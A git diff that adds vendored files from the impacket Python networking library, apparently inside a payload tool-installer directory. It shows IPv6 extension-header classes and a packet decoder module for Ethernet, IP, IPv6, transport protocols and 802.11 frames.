get_pseudo_header(self): + # The pseudo-header only contains data from the IPv6 header. + # So we pass the message to the parent until it reaches it. + return self.parent().get_pseudo_header() + +class Extension_Option(PacketBuffer): + MAX_OPTION_LEN = 256 + OPTION_TYPE_VALUE = -1 + + def __init__(self, option_type, size): + if size > Extension_Option.MAX_OPTION_LEN: + raise ImpactPacketException, "Option size of % is greater than the maximum of %d" % (size, Extension_Option.MAX_OPTION_LEN) + PacketBuffer.__init__(self, size) + self.set_option_type(option_type) + + def __str__(self): + option_type = self.get_option_type() + option_length = self.get_option_length() + + s = "Option Name: " + str(self.__class__.OPTION_DESCRIPTION) + "\n" + s += "Option Type: " + str(option_type) + "\n" + s += "Option Length: " + str(option_length) + "\n" + + return s + + def set_option_type(self, option_type): + self.set_byte(0, option_type) + + def get_option_type(self): + return self.get_byte(0) + + def set_option_length(self, length): + self.set_byte(1, length) + + def get_option_length(self): + return self.get_byte(1) + + def set_data(self, data): + self.set_option_length(len(data)) + option_bytes = self.get_bytes() + + option_bytes = self.get_bytes() + option_bytes[2:2+len(data)] = array.array('B', data) + self.set_bytes(option_bytes) + + def get_len(self): + return len(self.get_bytes()) + +class Option_PAD1(Extension_Option): + OPTION_TYPE_VALUE = 0x00 # Pad1 (RFC 2460) + OPTION_DESCRIPTION = "Pad1 Option" + + def __init__(self): + Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1) + + def get_len(self): + return 1 + +class Option_PADN(Extension_Option): + OPTION_TYPE_VALUE = 0x01 # Pad1 (RFC 2460) + OPTION_DESCRIPTION = "PadN Option" + + def __init__(self, padding_size): + if padding_size < 2: + raise ImpactPacketException, "PadN Extension Option must be greater than 2 bytes" + + Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size) + self.set_data('\x00' * (padding_size - 2)) + +class Basic_Extension_Header(IP6_Extension_Header): + MAX_OPTIONS_LEN = 256 * 8 + MIN_HEADER_LEN = 8 + MAX_HEADER_LEN = MIN_HEADER_LEN + MAX_OPTIONS_LEN + + def __init__(self, buffer = None): + self.padded = False + IP6_Extension_Header.__init__(self, buffer) + + def reset(self): + self.set_next_header(0) + self.set_header_extension_length(0) + self.add_padding() + + def add_option(self, option): + if self.padded: + self._option_list.pop() + self.padded = False + + IP6_Extension_Header.add_option(self, option) + + self.add_padding() + + def add_padding(self): + required_octets = 8 - (self.get_header_size() % 8) + if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN: + raise Exception("Not enough space for the padding") + + # Insert Pad1 or PadN to fill the necessary octets + if 0 < required_octets < 8: + if required_octets == 1: + self.add_option(Option_PAD1()) + else: + self.add_option(Option_PADN(required_octets)) + self.padded = True + else: + self.padded = False + +class Hop_By_Hop(Basic_Extension_Header): + HEADER_TYPE_VALUE = 0x00 + HEADER_EXTENSION_DESCRIPTION = "Hop By Hop Options" + + @classmethod + def get_decoder(self): + import ImpactDecoder + return ImpactDecoder.HopByHopDecoder + +class Destination_Options(Basic_Extension_Header): + HEADER_TYPE_VALUE = 0x3c + HEADER_EXTENSION_DESCRIPTION = "Destination Options" + + @classmethod + def get_decoder(self): + import ImpactDecoder + return ImpactDecoder.DestinationOptionsDecoder + +class Routing_Options(IP6_Extension_Header): + HEADER_TYPE_VALUE = 0x2b + HEADER_EXTENSION_DESCRIPTION = "Routing Options" + ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8 + + def reset(self): + self.set_next_header(0) + self.set_header_extension_length(0) + self.set_routing_type(0) + self.set_segments_left(0) + + def __str__(self): + header_type = self.get_header_type() + next_header_value = self.get_next_header() + header_ext_length = self.get_header_extension_length() + routing_type = self.get_routing_type() + segments_left = self.get_segments_left() + + s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n" + s += "Header Type Value: " + str(header_type) + "\n" + s += "Next Header: " + str(next_header_value) + "\n" + s += "Header Extension Length: " + str(header_ext_length) + "\n" + s += "Routing Type: " + str(routing_type) + "\n" + s += "Segments Left: " + str(segments_left) + "\n" + + return s + + @classmethod + def get_decoder(self): + import ImpactDecoder + return ImpactDecoder.RoutingOptionsDecoder + + def get_headers_field_size(self): + return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE + + def set_routing_type(self, routing_type): + self.set_byte(2, routing_type) + + def get_routing_type(self): + return self.get_byte(2) + + def set_segments_left(self, segments_left): + self.set_byte(3, segments_left) + + def get_segments_left(self): + return self.get_byte(3) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/ImpactDecoder.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/ImpactDecoder.py new file mode 100644 index 0000000..eb475e5 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/ImpactDecoder.py @@ -0,0 +1,1000 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Convenience packet unpackers for various network protocols +# implemented in the ImpactPacket module. +# +# Author: +# Javier Burroni (javier) +# Bruce Leidl (brl) +# Aureliano Calvo + +import array + +import ImpactPacket +import dot11 +import IP6 +import ICMP6 +import IP6_Extension_Headers +from cdp import CDP +from Dot11Crypto import RC4 +from impacket import wps, eap, dhcp +from impacket.dot11 import Dot11WEPData +from impacket import LOG + + +"""Classes to convert from raw packets into a hierarchy of +ImpactPacket derived objects. + +The protocol of the outermost layer must be known in advance, and the +packet must be fed to the corresponding decoder. From there it will +try to decode the raw data into a hierarchy of ImpactPacket derived +objects; if a layer's protocol is unknown, all the remaining data will +be wrapped into a ImpactPacket.Data object. +""" + +class Decoder: + __decoded_protocol = None + def decode(self, aBuffer): + pass + + def set_decoded_protocol(self, protocol): + self.__decoded_protocol = protocol + + def get_protocol(self, aprotocol): + protocol = self.__decoded_protocol + while protocol: + if protocol.__class__ == aprotocol: + break + protocol=protocol.child() + return protocol + + def __str__(self): + protocol = self.__decoded_protocol + i=0 + out='' + while protocol: + tabline=' '*i+'+-'+str(protocol.__class__) + out+="%s"%tabline+'\n' + protocol=protocol.child() + i+=1 + return out + +class EthDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + e = ImpactPacket.Ethernet(aBuffer) + self.set_decoded_protocol( e ) + off = e.get_header_size() + if e.get_ether_type() == ImpactPacket.IP.ethertype: + self.ip_decoder = IPDecoder() + packet = self.ip_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == IP6.IP6.ethertype: + self.ip6_decoder = IP6Decoder() + packet = self.ip6_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == ImpactPacket.ARP.ethertype: + self.arp_decoder = ARPDecoder() + packet = self.arp_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION: + self.eapol_decoder = EAPOLDecoder() + packet = self.eapol_decoder.decode(aBuffer[off:]) + # LLC ? + elif e.get_ether_type() < 1500: + self.llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + + e.contains(packet) + return e + +# Linux "cooked" capture encapsulation. +# Used, for instance, for packets returned by the "any" interface. +class LinuxSLLDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + e = ImpactPacket.LinuxSLL(aBuffer) + self.set_decoded_protocol( e ) + off = 16 + if e.get_ether_type() == ImpactPacket.IP.ethertype: + self.ip_decoder = IPDecoder() + packet = self.ip_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == ImpactPacket.ARP.ethertype: + self.arp_decoder = ARPDecoder() + packet = self.arp_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION: + self.eapol_decoder = EAPOLDecoder() + packet = self.eapol_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + + e.contains(packet) + return e + +class IPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + i = ImpactPacket.IP(aBuffer) + self.set_decoded_protocol ( i ) + off = i.get_header_size() + end = i.get_ip_len() + # If ip_len == 0 we might be facing TCP segmentation offload, let's calculate the right len + if end == 0: + LOG.warning('IP len reported as 0, most probably because of TCP segmentation offload. Attempting to fix its size') + i.set_ip_len(len(aBuffer)) + end = i.get_ip_len() + + if i.get_ip_p() == ImpactPacket.UDP.protocol: + self.udp_decoder = UDPDecoder() + packet = self.udp_decoder.decode(aBuffer[off:end]) + elif i.get_ip_p() == ImpactPacket.TCP.protocol: + self.tcp_decoder = TCPDecoder() + packet = self.tcp_decoder.decode(aBuffer[off:end]) + elif i.get_ip_p() == ImpactPacket.ICMP.protocol: + self.icmp_decoder = ICMPDecoder() + packet = self.icmp_decoder.decode(aBuffer[off:end]) + elif i.get_ip_p() == ImpactPacket.IGMP.protocol: + self.igmp_decoder = IGMPDecoder() + packet = self.igmp_decoder.decode(aBuffer[off:end]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:end]) + i.contains(packet) + return i + +class IP6MultiProtocolDecoder(Decoder): + def __init__(self, a_protocol_id): + self.protocol_id = a_protocol_id + + def decode(self, buffer): + if self.protocol_id == ImpactPacket.UDP.protocol: + self.udp_decoder = UDPDecoder() + packet = self.udp_decoder.decode(buffer) + elif self.protocol_id == ImpactPacket.TCP.protocol: + self.tcp_decoder = TCPDecoder() + packet = self.tcp_decoder.decode(buffer) + elif self.protocol_id == ICMP6.ICMP6.protocol: + self.icmp6_decoder = ICMP6Decoder() + packet = self.icmp6_decoder.decode(buffer) + else: + # IPv6 Extension Headers lookup + extension_headers = IP6_Extension_Headers.IP6_Extension_Header.get_extension_headers() + if buffer and self.protocol_id in extension_headers: + extension_header_decoder_class = extension_headers[self.protocol_id].get_decoder() + self.extension_header_decoder = extension_header_decoder_class() + packet = self.extension_header_decoder.decode(buffer) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(buffer) + + return packet + +class IP6Decoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + ip6_packet = IP6.IP6(buffer) + self.set_decoded_protocol(ip6_packet) + start_pos = ip6_packet.get_header_size() + end_pos = ip6_packet.get_payload_length() + start_pos + contained_protocol = ip6_packet.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:end_pos]) + + ip6_packet.contains(child_packet) + return ip6_packet + +class HopByHopDecoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + hop_by_hop = IP6_Extension_Headers.Hop_By_Hop(buffer) + self.set_decoded_protocol(hop_by_hop) + start_pos = hop_by_hop.get_header_size() + contained_protocol = hop_by_hop.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) + + hop_by_hop.contains(child_packet) + return hop_by_hop + +class DestinationOptionsDecoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + destination_options = IP6_Extension_Headers.Destination_Options(buffer) + self.set_decoded_protocol(destination_options) + start_pos = destination_options.get_header_size() + contained_protocol = destination_options.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) + + destination_options.contains(child_packet) + return destination_options + +class RoutingOptionsDecoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + routing_options = IP6_Extension_Headers.Routing_Options(buffer) + self.set_decoded_protocol(routing_options) + start_pos = routing_options.get_header_size() + contained_protocol = routing_options.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) + + routing_options.contains(child_packet) + return routing_options + +class ICMP6Decoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + icmp6_packet = ICMP6.ICMP6(buffer) + self.set_decoded_protocol(icmp6_packet) + start_pos = icmp6_packet.get_header_size() + + self.data_decoder = DataDecoder() + child_packet = self.data_decoder.decode(buffer[start_pos:]) + icmp6_packet.contains(child_packet) + return icmp6_packet + + +class ARPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + arp = ImpactPacket.ARP(aBuffer) + self.set_decoded_protocol( arp ) + off = arp.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + arp.contains(packet) + return arp + +class UDPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + u = ImpactPacket.UDP(aBuffer) + self.set_decoded_protocol( u ) + off = u.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + u.contains(packet) + return u + +class TCPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + t = ImpactPacket.TCP(aBuffer) + self.set_decoded_protocol( t ) + off = t.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + t.contains(packet) + return t + +class IGMPDecoder(Decoder): + def __init__(self): + pass + def decode(self, aBuffer): + ig = ImpactPacket.IGMP(aBuffer) + off = ig.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + ig.contains(packet) + return ig + + +class IPDecoderForICMP(Decoder): + """This class was added to parse the IP header of ICMP unreachables packets + If you use the "standard" IPDecoder, it might crash (see bug #4870) ImpactPacket.py + because the TCP header inside the IP header is incomplete""" + def __init__(self): + pass + + def decode(self, aBuffer): + i = ImpactPacket.IP(aBuffer) + self.set_decoded_protocol( i ) + off = i.get_header_size() + if i.get_ip_p() == ImpactPacket.UDP.protocol: + self.udp_decoder = UDPDecoder() + packet = self.udp_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + i.contains(packet) + return i + +class ICMPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + ic = ImpactPacket.ICMP(aBuffer) + self.set_decoded_protocol( ic ) + off = ic.get_header_size() + if ic.get_icmp_type() == ImpactPacket.ICMP.ICMP_UNREACH: + self.ip_decoder = IPDecoderForICMP() + packet = self.ip_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + ic.contains(packet) + return ic + +class DataDecoder(Decoder): + def decode(self, aBuffer): + d = ImpactPacket.Data(aBuffer) + self.set_decoded_protocol( d ) + return d + +class BaseDot11Decoder(Decoder): + def __init__(self, key_manager=None): + self.set_key_manager(key_manager) + + def set_key_manager(self, key_manager): + self.key_manager = key_manager + + def find_key(self, bssid): + try: + key = self.key_manager.get_key(bssid) + except: + return False + return key + +class RadioTapDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + rt = dot11.RadioTap(aBuffer) + self.set_decoded_protocol( rt ) + + self.do11_decoder = Dot11Decoder() + self.do11_decoder.set_key_manager(self.key_manager) + flags=rt.get_flags() + if flags is not None: + fcs=flags&dot11.RadioTap.RTF_FLAGS.PROPERTY_FCS_AT_END + self.do11_decoder.FCS_at_end(fcs) + + packet = self.do11_decoder.decode(rt.get_body_as_string()) + + rt.contains(packet) + return rt + +class Dot11Decoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + self.__FCS_at_end = True + + def FCS_at_end(self, fcs_at_end=True): + self.__FCS_at_end=not not fcs_at_end + + def decode(self, aBuffer): + d = dot11.Dot11(aBuffer, self.__FCS_at_end) + self.set_decoded_protocol( d ) + + type = d.get_type() + if type == dot11.Dot11Types.DOT11_TYPE_CONTROL: + dot11_control_decoder = Dot11ControlDecoder() + packet = dot11_control_decoder.decode(d.body_string) + elif type == dot11.Dot11Types.DOT11_TYPE_DATA: + dot11_data_decoder = Dot11DataDecoder(self.key_manager) + + dot11_data_decoder.set_dot11_hdr(d) + + packet = dot11_data_decoder.decode(d.body_string) + elif type == dot11.Dot11Types.DOT11_TYPE_MANAGEMENT: + dot11_management_decoder = Dot11ManagementDecoder() + dot11_management_decoder.set_subtype(d.get_subtype()) + packet = dot11_management_decoder.decode(d.body_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(d.body_string) + + d.contains(packet) + return d + +class Dot11ControlDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + self.__FCS_at_end = True + + def FCS_at_end(self, fcs_at_end=True): + self.__FCS_at_end=not not fcs_at_end + + def decode(self, aBuffer): + d = dot11.Dot11(aBuffer, self.__FCS_at_end) + self.set_decoded_protocol(d) + + self.subtype = d.get_subtype() + if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND: + self.ctrl_cts_decoder = Dot11ControlFrameCTSDecoder() + packet = self.ctrl_cts_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT: + self.ctrl_ack_decoder = Dot11ControlFrameACKDecoder() + packet = self.ctrl_ack_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND: + self.ctrl_rts_decoder = Dot11ControlFrameRTSDecoder() + packet = self.ctrl_rts_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL: + self.ctrl_pspoll_decoder = Dot11ControlFramePSPollDecoder() + packet = self.ctrl_pspoll_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END: + self.ctrl_cfend_decoder = Dot11ControlFrameCFEndDecoder() + packet = self.ctrl_cfend_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK: + self.ctrl_cfendcfack_decoder = Dot11ControlFrameCFEndCFACKDecoder() + packet = self.ctrl_cfendcfack_decoder.decode(d.body_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(d.body_string) + + d.contains(packet) + return d + +class Dot11ControlFrameCTSDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameCTS(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFrameACKDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameACK(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFrameRTSDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameRTS(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFramePSPollDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFramePSPoll(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFrameCFEndDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameCFEnd(aBuffer) + self.set_decoded_protocol(p) + return p +class Dot11ControlFrameCFEndCFACKDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameCFEndCFACK(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11DataDecoder(BaseDot11Decoder): + def __init__(self, key_manager): + BaseDot11Decoder.__init__(self, key_manager) + + def set_dot11_hdr(self, dot11_obj): + self.dot11 = dot11_obj + + def decode(self, aBuffer): + if self.dot11.get_fromDS() and self.dot11.get_toDS(): + if self.dot11.is_QoS_frame(): + p = dot11.Dot11DataAddr4QoSFrame(aBuffer) + else: + p = dot11.Dot11DataAddr4Frame(aBuffer) + elif self.dot11.is_QoS_frame(): + p = dot11.Dot11DataQoSFrame(aBuffer) + else: + p = dot11.Dot11DataFrame(aBuffer) + self.set_decoded_protocol( p ) + + if not self.dot11.get_protectedFrame(): + self.llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(p.body_string) + else: + if not self.dot11.get_fromDS() and self.dot11.get_toDS(): + bssid = p.get_address1() + elif self.dot11.get_fromDS() and not self.dot11.get_toDS(): + bssid = p.get_address2() + elif not self.dot11.get_fromDS() and not self.dot11.get_toDS(): + bssid = p.get_address3() + else: + # WDS, this is the RA + bssid = p.get_address1() + + wep_decoder = Dot11WEPDecoder(self.key_manager) + wep_decoder.set_bssid(bssid) + packet = wep_decoder.decode(p.body_string) + if packet is None: + wpa_decoder = Dot11WPADecoder() + packet = wpa_decoder.decode(p.body_string) + if packet is None: + wpa2_decoder = Dot11WPA2Decoder() + packet = wpa2_decoder.decode(p.body_string) + if packet is None: + data_decoder = DataDecoder() + packet = data_decoder.decode(p.body_string) + + p.contains(packet) + return p + +class Dot11WEPDecoder(BaseDot11Decoder): + def __init__(self, key_manager): + BaseDot11Decoder.__init__(self, key_manager) + self.bssid = None + + def set_bssid(self, bssid): + self.bssid = bssid + + def decode(self, aBuffer): + wep = dot11.Dot11WEP(aBuffer) + self.set_decoded_protocol( wep ) + + if wep.is_WEP() is False: + return None + + key = self.find_key(self.bssid) + if key: + decoded_string=wep.get_decrypted_data(key) + + wep_data = Dot11WEPDataDecoder() + packet = wep_data.decode(decoded_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(wep.body_string) + + wep.contains(packet) + + return wep + + def decrypt_data(self, key_string): + 'Return \'WEP Data\' decrypted' + + # Needs to be at least 8 bytes of payload + if len(self.body_string)<8: + return self.body_string + + # initialize the first bytes of the key from the IV + # and copy rest of the WEP key (the secret part) + key=self.get_iv()+key_string + rc4=RC4(key) + out=rc4.decrypt(data) + dwd=Dot11WEPData(out) + + if False: # is ICV correct + return dwd + else: + return self.body_string + + +class Dot11WEPDataDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + wep_data = dot11.Dot11WEPData(aBuffer) + + if not wep_data.check_icv(): + # TODO: Do something when the icv is not correct + pass + + self.set_decoded_protocol( wep_data ) + + llc_decoder = LLCDecoder() + packet = llc_decoder.decode(wep_data.body_string) + + wep_data.contains(packet) + + return wep_data + + +class Dot11WPADecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer, key=None): + wpa = dot11.Dot11WPA(aBuffer) + self.set_decoded_protocol( wpa ) + + if wpa.is_WPA() is False: + return None + + if key: + decoded_string=wpa.get_decrypted_data() + + wpa_data = Dot11DataWPADataDecoder() + packet = wpa_data.decode(decoded_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(wpa.body_string) + + wpa.contains(packet) + + return wpa + +class Dot11WPADataDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + wpa_data = dot11.Dot11WPAData(aBuffer) + self.set_decoded_protocol( wpa_data ) + + llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(wpa_data.body_string) + + wpa_data.contains(packet) + + return wpa_data + +class Dot11WPA2Decoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer, key=None): + wpa2 = dot11.Dot11WPA2(aBuffer) + self.set_decoded_protocol( wpa2 ) + + if wpa2.is_WPA2() is False: + return None + + if key: + decoded_string=wpa2.get_decrypted_data() + + wpa2_data = Dot11WPA2DataDecoder() + packet = wpa2_data.decode(decoded_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(wpa2.body_string) + + wpa2.contains(packet) + + return wpa2 + +class Dot11WPA2DataDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + wpa2_data = dot11.Dot11WPA2Data(aBuffer) + self.set_decoded_protocol( wpa2_data ) + + llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(wpa2_data.body_string) + + wpa2_data.contains(packet) + + return wpa2_data + +class LLCDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + d = dot11.LLC(aBuffer) + self.set_decoded_protocol( d ) + + if d.get_DSAP()==dot11.SAPTypes.SNAP: + if d.get_SSAP()==dot11.SAPTypes.SNAP: + if d.get_control()==dot11.LLC.DLC_UNNUMBERED_FRAMES: + snap_decoder = SNAPDecoder() + packet = snap_decoder.decode(d.body_string) + d.contains(packet) + return d + + # Only SNAP is implemented + data_decoder = DataDecoder() + packet = data_decoder.decode(d.body_string) + d.contains(packet) + return d + +class SNAPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + s = dot11.SNAP(aBuffer) + self.set_decoded_protocol( s ) + if s.get_OUI()==CDP.OUI and s.get_protoID()==CDP.Type: + dec = CDPDecoder() + packet = dec.decode(s.body_string) + elif s.get_OUI()!=0x000000: + # We don't know how to handle other than OUI=0x000000 (EtherType) + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(s.body_string) + elif s.get_protoID() == ImpactPacket.IP.ethertype: + self.ip_decoder = IPDecoder() + packet = self.ip_decoder.decode(s.body_string) + elif s.get_protoID() == ImpactPacket.ARP.ethertype: + self.arp_decoder = ARPDecoder() + packet = self.arp_decoder.decode(s.body_string) + elif s.get_protoID() == eap.DOT1X_AUTHENTICATION: + self.eapol_decoder = EAPOLDecoder() + packet = self.eapol_decoder.decode(s.body_string) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(s.body_string) + + s.contains(packet) + return s + +class CDPDecoder(Decoder): + + def __init__(self): + pass + + def decode(self, aBuffer): + s = CDP(aBuffer) + self.set_decoded_protocol( s ) + return s + +class Dot11ManagementDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + self.subtype = None + + def set_subtype(self, subtype): + self.subtype=subtype + + def decode(self, aBuffer): + p = dot11.Dot11ManagementFrame(aBuffer) + self.set_decoded_protocol( p ) + + if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON: + self.mgt_beacon_decoder = Dot11ManagementBeaconDecoder() + packet = self.mgt_beacon_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST: + self.mgt_probe_request_decoder = Dot11ManagementProbeRequestDecoder() + packet = self.mgt_probe_request_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE: + self.mgt_probe_response_decoder = Dot11ManagementProbeResponseDecoder() + packet = self.mgt_probe_response_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION: + self.mgt_deauthentication_decoder = Dot11ManagementDeauthenticationDecoder() + packet = self.mgt_deauthentication_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION: + self.mgt_Authentication_decoder = Dot11ManagementAuthenticationDecoder() + packet = self.mgt_Authentication_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION: + self.mgt_disassociation_decoder = Dot11ManagementDisassociationDecoder() + packet = self.mgt_disassociation_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST: + self.mgt_association_request_decoder = Dot11ManagementAssociationRequestDecoder() + packet = self.mgt_association_request_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE: + self.mgt_association_response_decoder = Dot11ManagementAssociationResponseDecoder() + packet = self.mgt_association_response_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST: + self.mgt_reassociation_request_decoder = Dot11ManagementReassociationRequestDecoder() + packet = self.mgt_reassociation_request_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE: + self.mgt_reassociation_response_decoder = Dot11ManagementReassociationResponseDecoder() + packet = self.mgt_reassociation_response_decoder.decode(p.body_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(p.body_string) + + p.contains(packet) + return p + +class Dot11ManagementBeaconDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementBeacon(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementProbeRequestDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementProbeRequest(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementProbeResponseDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementProbeResponse(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementDeauthenticationDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementDeauthentication(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementAuthenticationDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementAuthentication(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementDisassociationDecoder(BaseDot11Decoder): + def 